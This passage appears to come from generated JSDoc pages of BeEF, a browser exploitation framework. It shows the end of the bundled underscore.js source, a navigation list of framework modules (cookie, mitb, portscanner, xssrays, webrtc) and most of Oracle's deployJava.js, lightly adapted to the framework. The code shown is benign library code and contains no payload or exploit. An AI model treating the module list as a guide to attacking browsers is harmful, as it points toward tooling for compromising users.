(a.isEqual &amp;&amp; _.isFunction(a.isEqual)) return a.isEqual(b);\n    if (b.isEqual &amp;&amp; _.isFunction(b.isEqual)) return b.isEqual(a);\n    // Compare `[[Class]]` names.\n    var className = toString.call(a);\n    if (className != toString.call(b)) return false;\n    switch (className) {\n      // Strings, numbers, dates, and booleans are compared by value.\n      case '[object String]':\n        // Primitives and their corresponding object wrappers are equivalent; thus, `\"5\"` is\n        // equivalent to `new String(\"5\")`.\n        return a == String(b);\n      case '[object Number]':\n        // `NaN`s are equivalent, but non-reflexive. An `egal` comparison is performed for\n        // other numeric values.\n        return a != +a ? b != +b : (a == 0 ? 1 / a == 1 / b : a == +b);\n      case '[object Date]':\n      case '[object Boolean]':\n        // Coerce dates and booleans to numeric primitive values. Dates are compared by their\n        // millisecond representations. Note that invalid dates with millisecond representations\n        // of `NaN` are not equivalent.\n        return +a == +b;\n      // RegExps are compared by their source patterns and flags.\n      case '[object RegExp]':\n        return a.source == b.source &amp;&amp;\n               a.global == b.global &amp;&amp;\n               a.multiline == b.multiline &amp;&amp;\n               a.ignoreCase == b.ignoreCase;\n    }\n    if (typeof a != 'object' || typeof b != 'object') return false;\n    // Assume equality for cyclic structures. The algorithm for detecting cyclic\n    // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.\n    var length = stack.length;\n    while (length--) {\n      // Linear search. Performance is inversely proportional to the number of\n      // unique nested structures.\n      if (stack[length] == a) return true;\n    }\n    // Add the first object to the stack of traversed objects.\n    stack.push(a);\n    var size = 0, result = true;\n    // Recursively compare objects and arrays.\n    if (className == '[object Array]') {\n      // Compare array lengths to determine if a deep comparison is necessary.\n      size = a.length;\n      result = size == b.length;\n      if (result) {\n        // Deep compare the contents, ignoring non-numeric properties.\n        while (size--) {\n          // Ensure commutative equality for sparse arrays.\n          if (!(result = size in a == size in b &amp;&amp; eq(a[size], b[size], stack))) break;\n        }\n      }\n    } else {\n      // Objects with different constructors are not equivalent.\n      if ('constructor' in a != 'constructor' in b || a.constructor != b.constructor) return false;\n      // Deep compare objects.\n      for (var key in a) {\n        if (_.has(a, key)) {\n          // Count the expected number of properties.\n          size++;\n          // Deep compare each member.\n          if (!(result = _.has(b, key) &amp;&amp; eq(a[key], b[key], stack))) break;\n        }\n      }\n      // Ensure that both objects contain the same number of properties.\n      if (result) {\n        for (key in b) {\n          if (_.has(b, key) &amp;&amp; !(size--)) break;\n        }\n        result = !size;\n      }\n    }\n    // Remove the first object from the stack of traversed objects.\n    stack.pop();\n    return result;\n  }\n\n  // Perform a deep comparison to check if two objects are equal.\n  _.isEqual = function(a, b) {\n    return eq(a, b, []);\n  };\n\n  // Is a given array, string, or object empty?\n  // An \"empty\" object has no enumerable own-properties.\n  _.isEmpty = function(obj) {\n    if (obj == null) return true;\n    if (_.isArray(obj) || _.isString(obj)) return obj.length === 0;\n    for (var key in obj) if (_.has(obj, key)) return false;\n    return true;\n  };\n\n  // Is a given value a DOM element?\n  _.isElement = function(obj) {\n    return !!(obj &amp;&amp; obj.nodeType == 1);\n  };\n\n  // Is a given value an array?\n  // Delegates to ECMA5's native Array.isArray\n  _.isArray = nativeIsArray || function(obj) {\n    return toString.call(obj) == '[object Array]';\n  };\n\n  // Is a given variable an object?\n  _.isObject = function(obj) {\n    return obj === Object(obj);\n  };\n\n  // Is a given variable an arguments object?\n  _.isArguments = function(obj) {\n    return toString.call(obj) == '[object Arguments]';\n  };\n  if (!_.isArguments(arguments)) {\n    _.isArguments = function(obj) {\n      return !!(obj &amp;&amp; _.has(obj, 'callee'));\n    };\n  }\n\n  // Is a given value a function?\n  _.isFunction = function(obj) {\n    return toString.call(obj) == '[object Function]';\n  };\n\n  // Is a given value a string?\n  _.isString = function(obj) {\n    return toString.call(obj) == '[object String]';\n  };\n\n  // Is a given value a number?\n  _.isNumber = function(obj) {\n    return toString.call(obj) == '[object Number]';\n  };\n\n  // Is a given object a finite number?\n  _.isFinite = function(obj) {\n    return _.isNumber(obj) &amp;&amp; isFinite(obj);\n  };\n\n  // Is the given value `NaN`?\n  _.isNaN = function(obj) {\n    // `NaN` is the only value for which `===` is not reflexive.\n    return obj !== obj;\n  };\n\n  // Is a given value a boolean?\n  _.isBoolean = function(obj) {\n    return obj === true || obj === false || toString.call(obj) == '[object Boolean]';\n  };\n\n  // Is a given value a date?\n  _.isDate = function(obj) {\n    return toString.call(obj) == '[object Date]';\n  };\n\n  // Is the given value a regular expression?\n  _.isRegExp = function(obj) {\n    return toString.call(obj) == '[object RegExp]';\n  };\n\n  // Is a given value equal to null?\n  _.isNull = function(obj) {\n    return obj === null;\n  };\n\n  // Is a given variable undefined?\n  _.isUndefined = function(obj) {\n    return obj === void 0;\n  };\n\n  // Has own property?\n  _.has = function(obj, key) {\n    return hasOwnProperty.call(obj, key);\n  };\n\n  // Utility Functions\n  // -----------------\n\n  // Run Underscore.js in *noConflict* mode, returning the `_` variable to its\n  // previous owner. Returns a reference to the Underscore object.\n  _.noConflict = function() {\n    root._ = previousUnderscore;\n    return this;\n  };\n\n  // Keep the identity function around for default iterators.\n  _.identity = function(value) {\n    return value;\n  };\n\n  // Run a function **n** times.\n  _.times = function (n, iterator, context) {\n    for (var i = 0; i &lt; n; i++) iterator.call(context, i);\n  };\n\n  // Escape a string for HTML interpolation.\n  _.escape = function(string) {\n    return (''+string).replace(/&amp;/g, '&amp;amp;').replace(/&lt;/g, '&amp;lt;').replace(/>/g, '&amp;gt;').replace(/\"/g, '&amp;quot;').replace(/'/g, '&amp;#x27;').replace(/\\//g,'&amp;#x2F;');\n  };\n\n  // If the value of the named property is a function then invoke it;\n  // otherwise, return it.\n  _.result = function(object, property) {\n    if (object == null) return null;\n    var value = object[property];\n    return _.isFunction(value) ? value.call(object) : value;\n  };\n\n  // Add your own custom functions to the Underscore object, ensuring that\n  // they're correctly added to the OOP wrapper as well.\n  _.mixin = function(obj) {\n    each(_.functions(obj), function(name){\n      addToWrapper(name, _[name] = obj[name]);\n    });\n  };\n\n  // Generate a unique integer id (unique within the entire client session).\n  // Useful for temporary DOM ids.\n  var idCounter = 0;\n  _.uniqueId = function(prefix) {\n    var id = idCounter++;\n    return prefix ? prefix + id : id;\n  };\n\n  // By default, Underscore uses ERB-style template delimiters, change the\n  // following template settings to use alternative delimiters.\n  _.templateSettings = {\n    evaluate    : /&lt;%([\\s\\S]+?)%>/g,\n    interpolate : /&lt;%=([\\s\\S]+?)%>/g,\n    escape      : /&lt;%-([\\s\\S]+?)%>/g\n  };\n\n  // When customizing `templateSettings`, if you don't want to define an\n  // interpolation, evaluation or escaping regex, we need one that is\n  // guaranteed not to match.\n  var noMatch = /.^/;\n\n  // Certain characters need to be escaped so that they can be put into a\n  // string literal.\n  var escapes = {\n    '\\\\': '\\\\',\n    \"'\": \"'\",\n    'r': '\\r',\n    'n': '\\n',\n    't': '\\t',\n    'u2028': '\\u2028',\n    'u2029': '\\u2029'\n  };\n\n  for (var p in escapes) escapes[escapes[p]] = p;\n  var escaper = /\\\\|'|\\r|\\n|\\t|\\u2028|\\u2029/g;\n  var unescaper = /\\\\(\\\\|'|r|n|t|u2028|u2029)/g;\n\n  // Within an interpolation, evaluation, or escaping, remove HTML escaping\n  // that had been previously added.\n  var unescape = function(code) {\n    return code.replace(unescaper, function(match, escape) {\n      return escapes[escape];\n    });\n  };\n\n  // JavaScript micro-templating, similar to John Resig's implementation.\n  // Underscore templating handles arbitrary delimiters, preserves whitespace,\n  // and correctly escapes quotes within interpolated code.\n  _.template = function(text, data, settings) {\n    settings = _.defaults(settings || {}, _.templateSettings);\n\n    // Compile the template source, taking care to escape characters that\n    // cannot be included in a string literal and then unescape them in code\n    // blocks.\n    var source = \"__p+='\" + text\n      .replace(escaper, function(match) {\n        return '\\\\' + escapes[match];\n      })\n      .replace(settings.escape || noMatch, function(match, code) {\n        return \"'+\\n_.escape(\" + unescape(code) + \")+\\n'\";\n      })\n      .replace(settings.interpolate || noMatch, function(match, code) {\n        return \"'+\\n(\" + unescape(code) + \")+\\n'\";\n      })\n      .replace(settings.evaluate || noMatch, function(match, code) {\n        return \"';\\n\" + unescape(code) + \"\\n;__p+='\";\n      }) + \"';\\n\";\n\n    // If a variable is not specified, place data values in local scope.\n    if (!settings.variable) source = 'with(obj||{}){\\n' + source + '}\\n';\n\n    source = \"var __p='';\" +\n      \"var print=function(){__p+=Array.prototype.join.call(arguments, '')};\\n\" +\n      source + \"return __p;\\n\";\n\n    var render = new Function(settings.variable || 'obj', '_', source);\n    if (data) return render(data, _);\n    var template = function(data) {\n      return render.call(this, data, _);\n    };\n\n    // Provide the compiled function source as a convenience for build time\n    // precompilation.\n    template.source = 'function(' + (settings.variable || 'obj') + '){\\n' +\n      source + '}';\n\n    return template;\n  };\n\n  // Add a \"chain\" function, which will delegate to the wrapper.\n  _.chain = function(obj) {\n    return _(obj).chain();\n  };\n\n  // The OOP Wrapper\n  // ---------------\n\n  // If Underscore is called as a function, it returns a wrapped object that\n  // can be used OO-style. This wrapper holds altered versions of all the\n  // underscore functions. Wrapped objects may be chained.\n  var wrapper = function(obj) { this._wrapped = obj; };\n\n  // Expose `wrapper.prototype` as `_.prototype`\n  _.prototype = wrapper.prototype;\n\n  // Helper function to continue chaining intermediate results.\n  var result = function(obj, chain) {\n    return chain ? _(obj).chain() : obj;\n  };\n\n  // A method to easily add functions to the OOP wrapper.\n  var addToWrapper = function(name, func) {\n    wrapper.prototype[name] = function() {\n      var args = slice.call(arguments);\n      unshift.call(args, this._wrapped);\n      return result(func.apply(_, args), this._chain);\n    };\n  };\n\n  // Add all of the Underscore functions to the wrapper object.\n  _.mixin(_);\n\n  // Add all mutator Array functions to the wrapper.\n  each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {\n    var method = ArrayProto[name];\n    wrapper.prototype[name] = function() {\n      var wrapped = this._wrapped;\n      method.apply(wrapped, arguments);\n      var length = wrapped.length;\n      if ((name == 'shift' || name == 'splice') &amp;&amp; length === 0) delete wrapped[0];\n      return result(wrapped, this._chain);\n    };\n  });\n\n  // Add all accessor Array functions to the wrapper.\n  each(['concat', 'join', 'slice'], function(name) {\n    var method = ArrayProto[name];\n    wrapper.prototype[name] = function() {\n      return result(method.apply(this._wrapped, arguments), this._chain);\n    };\n  });\n\n  // Start chaining a wrapped Underscore object.\n  wrapper.prototype.chain = function() {\n    this._chain = true;\n    return this;\n  };\n\n  // Extracts the result from a wrapped and chained object.\n  wrapper.prototype.value = function() {\n    return this._wrapped;\n  };\n\n}).call(this);\n\n});\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"browser_jools.html\">browser_jools</a></li><li><a href=\"platform.html\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 3.6.3</a> on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/lib_deployJava.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: lib/deployJava.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: lib/deployJava.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>/*\r\n * Copyright (c) 2006, 2012, Oracle and/or its affiliates. All rights reserved.\r\n * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.\r\n *\r\n * Redistribution and use in source and binary forms, with or without\r\n * modification, are permitted provided that the following conditions\r\n * are met:\r\n *\r\n *   - Redistributions of source code must retain the above copyright\r\n *     notice, this list of conditions and the following disclaimer.\r\n *\r\n *   - Redistributions in binary form must reproduce the above copyright\r\n *     notice, this list of conditions and the following disclaimer in the\r\n *     documentation and/or other materials provided with the distribution.\r\n *\r\n *   - Neither the name of Oracle nor the names of its\r\n *     contributors may be used to endorse or promote products derived\r\n *     from this software without specific prior written permission.\r\n *\r\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\r\n * IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\r\n * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\r\n * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR\r\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\r\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\r\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\r\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\r\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\r\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n */\r\n\r\n/*\r\n * deployJava.js\r\n *\r\n * This file is part of the Deployment Toolkit.  It provides functions for web\r\n * pages to detect the presence of a JRE, install the latest JRE, and easily run\r\n * applets or Web Start programs.  More Information on usage of the\r\n * Deployment Toolkit can be found in the Deployment Guide at:\r\n * http://docs.oracle.com/javase/6/docs/technotes/guides/jweb/index.html\r\n *\r\n * The \"live\" copy of this file may be found at :\r\n * http://java.com/js/deployJava.js.\r\n * For web pages provisioned using https, you may want to access the copy at:\r\n * https://java.com/js/deployJava.js.\r\n *\r\n * You are encouraged to link directly to the live copies.\r\n * The above files are stripped of comments and whitespace for performance,\r\n * You can access this file w/o the whitespace and comments removed at:\r\n * http://java.com/js/deployJava.txt.\r\n *\r\n */\r\n\r\nvar deployJava = function() {\r\n    /** HTML attribute filter implementation */\r\n    var hattrs = {\r\n        core: [ 'id', 'class', 'title', 'style' ],\r\n        i18n: [ 'lang', 'dir' ],\r\n        events: [ 'onclick', 'ondblclick', 'onmousedown', 'onmouseup',\r\n            'onmouseover', 'onmousemove', 'onmouseout', 'onkeypress',\r\n            'onkeydown', 'onkeyup' ],\r\n        applet: [ 'codebase', 'code', 'name', 'archive', 'object',\r\n            'width', 'height', 'alt', 'align', 'hspace', 'vspace' ],\r\n        object: [ 'classid', 'codebase', 'codetype', 'data', 'type',\r\n            'archive', 'declare', 'standby', 'height', 'width', 'usemap',\r\n            'name', 'tabindex', 'align', 'border', 'hspace', 'vspace' ]\r\n    };\r\n\r\n    var object_valid_attrs = hattrs.object.concat(hattrs.core, hattrs.i18n,\r\n        hattrs.events);\r\n    var applet_valid_attrs = hattrs.applet.concat(hattrs.core);\r\n\r\n    // generic log function\r\n    function log(message) {\r\n        if ( ! rv.debug ) {return};\r\n        beef.debug(message);\r\n    }\r\n\r\n    //checks where given version string matches query\r\n    //\r\n    //NB: assume format is correct. Can add format check later if needed\r\n    // from dtjava.js\r\n    function versionCheckEx(query, version) {\r\n        if (query == null || query.length == 0) return true;\r\n\r\n        var c = query.charAt(query.length - 1);\r\n\r\n        //if it is not explicit pattern but does not have update version then need to append *\r\n        if (c != '+' &amp;&amp; c != '*' &amp;&amp; (query.indexOf('_') != -1 &amp;&amp; c != '_')) {\r\n            query = query + \"*\";\r\n            c = '*';\r\n        }\r\n\r\n        query = query.substring(0, query.length - 1);\r\n        //if query ends with \".\", \"_\" then we want to strip it to allow match of \"1.6.*\" to shorter form such as \"1.6\"\r\n        //TODO: add support for match of \"1.7.0*\" to \"1.7\"?\r\n        if (query.length > 0) {\r\n            var z = query.charAt(query.length - 1);\r\n            if (z == '.' || z == '_') {\r\n                query = query.substring(0, query.length - 1);\r\n            }\r\n        }\r\n        if (c == '*') {\r\n            //it is match if version starts from it\r\n            return (version.indexOf(query) == 0);\r\n        } else if (c == '+') {\r\n            //match if query string is lexicographically smaller\r\n            return query &lt;= version;\r\n        }\r\n        return false;\r\n    }\r\n\r\n    function getWebStartLaunchIconURL() {\r\n        var imageUrl = '//java.com/js/webstart.png';\r\n        try {\r\n            // for http/https; use protocol less url; use http for all other protocol\r\n            return document.location.protocol.indexOf('http') != -1 ?\r\n                imageUrl : 'http:' + imageUrl;\r\n        } catch (err) {\r\n            return 'http:' + imageUrl;\r\n        }\r\n    }\r\n\r\n    // GetJava page\r\n    function constructGetJavaURL(query) {\r\n\r\n        var getJavaURL = 'http://java.com/dt-redirect';\r\n\r\n        if (query == null || query.length == 0) return getJavaURL;\r\n        if(query.charAt(0) == '&amp;')\r\n        {\r\n            query = query.substring(1, query.length);\r\n        }\r\n        return getJavaURL + '?'+  query;\r\n    }\r\n\r\n    function arHas(ar, attr) {\r\n        var len = ar.length;\r\n        for (var i = 0; i &lt; len; i++) {\r\n            if (ar[i] === attr) return true;\r\n        }\r\n        return false;\r\n    }\r\n\r\n    function isValidAppletAttr(attr) {\r\n        return arHas(applet_valid_attrs, attr.toLowerCase());\r\n    }\r\n\r\n    function isValidObjectAttr(attr) {\r\n        return arHas(object_valid_attrs, attr.toLowerCase());\r\n    }\r\n\r\n    /**\r\n     * returns true if we can enable DT plugin auto-install without chance of\r\n     * deadlock on cert mismatch dialog\r\n     *\r\n     * requestedJREVersion param is optional - if null, it will be\r\n     * treated as installing any JRE version\r\n     *\r\n     * DT plugin for 6uX only knows about JRE installer signed by SUN cert.\r\n     * If it encounter Oracle signed JRE installer, it will have chance of\r\n     * deadlock when running with IE.  This function is to guard against this.\r\n     */\r\n    function enableWithoutCertMisMatchWorkaround(requestedJREVersion) {\r\n\r\n        // Non-IE browser are okay\r\n        if ('MSIE' != deployJava.browserName) return true;\r\n\r\n        // if DT plugin is 10.0.0 or above, return true\r\n        // This is because they are aware of both SUN and Oracle signature and\r\n        // will not show cert mismatch dialog that might cause deadlock\r\n        if (deployJava.compareVersionToPattern(deployJava.getPlugin().version,\r\n            [\"10\", \"0\", \"0\"], false, true)) {\r\n            return true;\r\n        }\r\n\r\n        // If we got there, DT plugin is 6uX\r\n\r\n        if (requestedJREVersion  == null) {\r\n            // if requestedJREVersion is not defined - it means ANY.\r\n            // can not guarantee it is safe to install ANY version because 6uX\r\n            // DT does not know about Oracle certificates and may deadlock\r\n            return false;\r\n        }\r\n\r\n        // 6u32 or earlier JRE installer used Sun certificate\r\n        // 6u33+ uses Oracle's certificate\r\n        // DT in JRE6 does not know about Oracle certificate => can only\r\n        // install 6u32 or earlier without risk of deadlock\r\n        return !versionCheckEx(\"1.6.0_33+\", requestedJREVersion);\r\n    }\r\n\r\n    /* HTML attribute filters */\r\n\r\n    var rv = {\r\n\r\n        debug: null,\r\n\r\n        /* version of deployJava.js */\r\n        version: \"20120801\",\r\n\r\n        firefoxJavaVersion: null,\r\n\r\n        myInterval: null,\r\n        preInstallJREList: null,\r\n        returnPage: null,\r\n        brand: null,\r\n        locale: null,\r\n        installType: null,\r\n\r\n        EAInstallEnabled: false,\r\n        EarlyAccessURL: null,\r\n\r\n\r\n        // mime-type of the DeployToolkit plugin object\r\n        oldMimeType: 'application/npruntime-scriptable-plugin;DeploymentToolkit',\r\n        mimeType: 'application/java-deployment-toolkit',\r\n\r\n        /* location of the Java Web Start launch button graphic is right next to\r\n         * deployJava.js at:\r\n         *    http://java.com/js/webstart.png\r\n         *\r\n         * Use protocol less url here for http/https support\r\n         */\r\n        launchButtonPNG: getWebStartLaunchIconURL(),\r\n\r\n        browserName: null,\r\n        browserName2: null,\r\n\r\n        /**\r\n         * Returns an array of currently-installed JRE version strings.\r\n         * Version strings are of the form #.#[.#[_#]], with the function returning\r\n         * as much version information as it can determine, from just family\r\n         * versions (\"1.4.2\", \"1.5\") through the full version (\"1.5.0_06\").\r\n         *\r\n         * Detection is done on a best-effort basis.  Under some circumstances\r\n         * only the highest installed JRE version will be detected, and\r\n         * JREs older than 1.4.2 will not always be detected.\r\n         */\r\n        getJREs: function() {\r\n            var list = new Array();\r\n            if (this.isPluginInstalled()) {\r\n                var plugin =  this.getPlugin();\r\n                var VMs = plugin.jvms;\r\n                for (var i = 0; i &lt; VMs.getLength(); i++) {\r\n                    list[i] = VMs.get(i).version;\r\n                }\r\n            } else {\r\n                var browser = this.getBrowser();\r\n\r\n                if (browser == 'MSIE') {\r\n                    if (this.testUsingActiveX('1.7.0')) {\r\n                        list[0] = '1.7.0';\r\n                    } else if (this.testUsingActiveX('1.6.0')) {\r\n                        list[0] = '1.6.0';\r\n                    } else if (this.testUsingActiveX('1.5.0')) {\r\n                        list[0] = '1.5.0';\r\n                    } else if (this.testUsingActiveX('1.4.2')) {\r\n                        list[0] = '1.4.2';\r\n                    } else if (this.testForMSVM()) {\r\n                        list[0] = '1.1';\r\n                    }\r\n                } else if (browser == 'Netscape Family') {\r\n                    this.getJPIVersionUsingMimeType();\r\n                    if (this.firefoxJavaVersion != null) {\r\n                        list[0] = this.firefoxJavaVersion;\r\n                    } else if (this.testUsingMimeTypes('1.7')) {\r\n                        list[0] = '1.7.0';\r\n                    } else if (this.testUsingMimeTypes('1.6')) {\r\n                        list[0] = '1.6.0';\r\n                    } else if (this.testUsingMimeTypes('1.5')) {\r\n                        list[0] = '1.5.0';\r\n                    } else if (this.testUsingMimeTypes('1.4.2')) {\r\n                        list[0] = '1.4.2';\r\n                    } else if (this.browserName2 == 'Safari') {\r\n                        if (this.testUsingPluginsArray('1.7.0')) {\r\n                            list[0] = '1.7.0';\r\n                        } else if (this.testUsingPluginsArray('1.6')) {\r\n                            list[0] = '1.6.0';\r\n                        } else if (this.testUsingPluginsArray('1.5')) {\r\n                            list[0] = '1.5.0';\r\n                        } else if (this.testUsingPluginsArray('1.4.2')) {\r\n                            list[0] = '1.4.2';\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n\r\n            if (this.debug) {\r\n                for (var i = 0; i &lt; list.length; ++i) {\r\n                    log('[getJREs()] We claim to have detected Java SE ' + list[i]);\r\n                }\r\n            }\r\n\r\n            return list;\r\n        },\r\n\r\n        /**\r\n         * Triggers a JRE installation.  The exact effect of triggering an\r\n         * installation varies based on platform, browser, and if the\r\n         * Deployment Toolkit plugin is installed.\r\n         *\r\n         * The requestVersion string is of the form #[.#[.#[_#]]][+|*],\r\n         * which includes strings such as \"1.4\", \"1.5.0*\", and \"1.6.0_02+\".\r\n         * A star (*) means \"any version starting within this family\" and\r\n         * a plus (+) means \"any version greater or equal to this\".\r\n         * \"1.5.0*\" * matches 1.5.0_06 but not 1.6.0_01, whereas\r\n         * \"1.5.0+\" matches both.\r\n         *\r\n         * installCallback is an optional argument which holds a reference\r\n         * to a javascript callback function for reporting install status.\r\n         *\r\n         * If the Deployment Toolkit plugin is not present, this will just call\r\n         * this.installLatestJRE().\r\n         */\r\n        installJRE: function(requestVersion, installCallback) {\r\n            var ret = false;\r\n            if (this.isPluginInstalled() &amp;&amp;\r\n                this.isAutoInstallEnabled(requestVersion)) {\r\n                var installSucceeded = false;\r\n                if (this.isCallbackSupported()) {\r\n                    installSucceeded =\r\n                        this.getPlugin().installJRE(requestVersion, installCallback);\r\n                } else {\r\n                    installSucceeded = this.getPlugin().installJRE(requestVersion);\r\n                }\r\n\r\n                if (installSucceeded) {\r\n                    this.refresh();\r\n                    if (this.returnPage != null) {\r\n                        document.location = this.returnPage;\r\n                    }\r\n                }\r\n                return installSucceeded;\r\n            } else {\r\n                return this.installLatestJRE();\r\n            }\r\n        },\r\n\r\n        /**\r\n         * returns true if jre auto install for the requestedJREVersion is enabled\r\n         * for the local system; false otherwise\r\n         *\r\n         * requestedJREVersion param is optional - if not specified, it will be\r\n         * treated as installing any JRE version\r\n         *\r\n         * DT plugin for 6uX only knows about JRE installer signed by SUN cert.\r\n         * If it encounter Oracle signed JRE installer, it will have chance of\r\n         * deadlock when running with IE.  This function is to guard against this.\r\n         */\r\n        isAutoInstallEnabled: function(requestedJREVersion) {\r\n            // if no DT plugin, return false\r\n            if (!this.isPluginInstalled()) return false;\r\n\r\n            if (typeof requestedJREVersion  == 'undefined') {\r\n                requestedJREVersion = null;\r\n            }\r\n\r\n            return enableWithoutCertMisMatchWorkaround(requestedJREVersion);\r\n\r\n        },\r\n\r\n        /**\r\n         * returns true if jre install callback is supported\r\n         * callback support is added since dt plugin version 10.2.0 or above\r\n         */\r\n        isCallbackSupported: function() {\r\n            return this.isPluginInstalled() &amp;&amp;\r\n                this.compareVersionToPattern(this.getPlugin().version,\r\n                    [\"10\", \"2\", \"0\"], false, true);\r\n        },\r\n\r\n        /**\r\n         * Triggers a JRE installation.  The exact effect of triggering an\r\n         * installation varies based on platform, browser, and if the\r\n         * Deployment Toolkit plugin is installed.\r\n         *\r\n         * In the simplest case, the browser window will be redirected to the\r\n         * java.com JRE installation page, and (if possible) a redirect back to\r\n         * the current URL upon successful installation.  The return redirect is\r\n         * not always possible, as the JRE installation may require the browser to\r\n         * be restarted.\r\n         *\r\n         * installCallback is an optional argument which holds a reference\r\n         * to a javascript callback function for reporting install status.\r\n         *\r\n         * In the best case (when the Deployment Toolkit plugin is present), this\r\n         * function will immediately cause a progress dialog to be displayed\r\n         * as the JRE is downloaded and installed.\r\n         */\r\n        installLatestJRE: function(installCallback) {\r\n            if (this.isPluginInstalled() &amp;&amp; this.isAutoInstallEnabled()) {\r\n                var installSucceeded = false;\r\n                if (this.isCallbackSupported()) {\r\n                    installSucceeded = this.getPlugin().installLatestJRE(installCallback);\r\n                } else {\r\n                    installSucceeded = this.getPlugin().installLatestJRE();\r\n                }\r\n                if (installSucceeded) {\r\n                    this.refresh();\r\n                    if (this.returnPage != null) {\r\n                        document.location = this.returnPage;\r\n                    }\r\n                }\r\n                return installSucceeded;\r\n            } else {\r\n                var browser = this.getBrowser();\r\n                var platform = navigator.platform.toLowerCase();\r\n                if ((this.EAInstallEnabled == 'true') &amp;&amp;\r\n                    (platform.indexOf('win') != -1) &amp;&amp;\r\n                    (this.EarlyAccessURL != null)) {\r\n\r\n                    this.preInstallJREList = this.getJREs();\r\n                    if (this.returnPage != null) {\r\n                        this.myInterval =\r\n                            setInterval(\"deployJava.poll()\", 3000);\r\n                    }\r\n\r\n                    location.href = this.EarlyAccessURL;\r\n\r\n                    // we have to return false although there may be an install\r\n                    // in progress now, when complete it may go to return page\r\n                    return false;\r\n                } else {\r\n                    if (browser == 'MSIE') {\r\n                        return this.IEInstall();\r\n                    } else if ((browser == 'Netscape Family') &amp;&amp;\r\n                        (platform.indexOf('win32') != -1)) {\r\n                        return this.FFInstall();\r\n                    } else {\r\n                        location.href = constructGetJavaURL(\r\n                            ((this.returnPage != null) ?\r\n                                ('&amp;returnPage=' + this.returnPage) : '') +\r\n                                ((this.locale != null) ?\r\n                                    ('&amp;locale=' + this.locale) : '') +\r\n                                ((this.brand != null) ?\r\n                                    ('&amp;brand=' + this.brand) : ''));\r\n                    }\r\n                    // we have to return false although there may be an install\r\n                    // in progress now, when complete it may go to return page\r\n                    return false;\r\n                }\r\n            }\r\n        },\r\n\r\n\r\n        /**\r\n         * Ensures that an appropriate JRE is installed and then runs an applet.\r\n         * minimumVersion is of the form #[.#[.#[_#]]], and is the minimum\r\n         * JRE version necessary to run this applet.  minimumVersion is optional,\r\n         * defaulting to the value \"1.1\" (which matches any JRE).\r\n         * If an equal or greater JRE is detected, runApplet() will call\r\n         * writeAppletTag(attributes, parameters) to output the applet tag,\r\n         * otherwise it will call installJRE(minimumVersion + '+').\r\n         *\r\n         * After installJRE() is called, the script will attempt to detect that the\r\n         * JRE installation has completed and begin running the applet, but there\r\n         * are circumstances (such as when the JRE installation requires a browser\r\n         * restart) when this cannot be fulfilled.\r\n         *\r\n         * As with writeAppletTag(), this function should 